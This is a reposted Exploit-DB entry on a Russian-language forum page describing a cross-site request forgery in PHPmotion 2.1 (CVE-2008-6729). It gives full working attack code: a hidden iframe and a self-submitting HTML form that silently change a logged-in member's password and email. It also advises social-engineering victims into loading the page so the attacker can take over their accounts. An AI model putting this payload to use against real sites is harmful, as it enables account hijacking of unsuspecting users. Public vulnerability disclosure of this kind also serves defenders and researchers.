Exploit PHPmotion 2.1 - Cross-Site Request Forgery

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
7557
Проверка EDB
  1. Пройдено
Автор
AUSOME1
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-6729
Дата публикации
2008-12-23
Код:
PHPmotion <= 2.1 CSRF vulnerability

Author: Ausome1
Email: [email protected]
Website: http://www.enigmagroup.org
Description: Change a member's password and/or email.
---------------------------------------------------------------------------------------------------


Social engineer a PHPMotion member to come to your web page with the following hidden iframe on 
there, which pulls in the evil script from pwned.html. This will change the victim's password and email, 
using their credentials.

We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In 
the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used 
to submit the form on page load.

Hidden iframe code:

	<iframe id="hiframe" style="visibility:hidden;display:none" src="pwned.html"></iframe>


Source of pwned.html file:

	<html>
	<head></head>
	<body onload="document.forms.invite.submit();">
	<form name="invite" action="http://demo.phpmotiontemplates.com/v2/default/password.php" method="post" class="UpdateProfileForm">
		<input type="hidden" name="submitted" value="yes" />
		<input type="password" name="password" value="password123" />
		<input type="text" name="email_address" size="36" value="[email protected]" />
		<input type="submit" value="Update settings" name="invite_fr" />
	</form>
	</html>


Once your victim has visited your evil page, You may now be able to log into their PHPMotion account, 
using password "password123" and their email will be "[email protected]".

# milw0rm.com [2008-12-23]
 
Источник
www.exploit-db.com

Похожие темы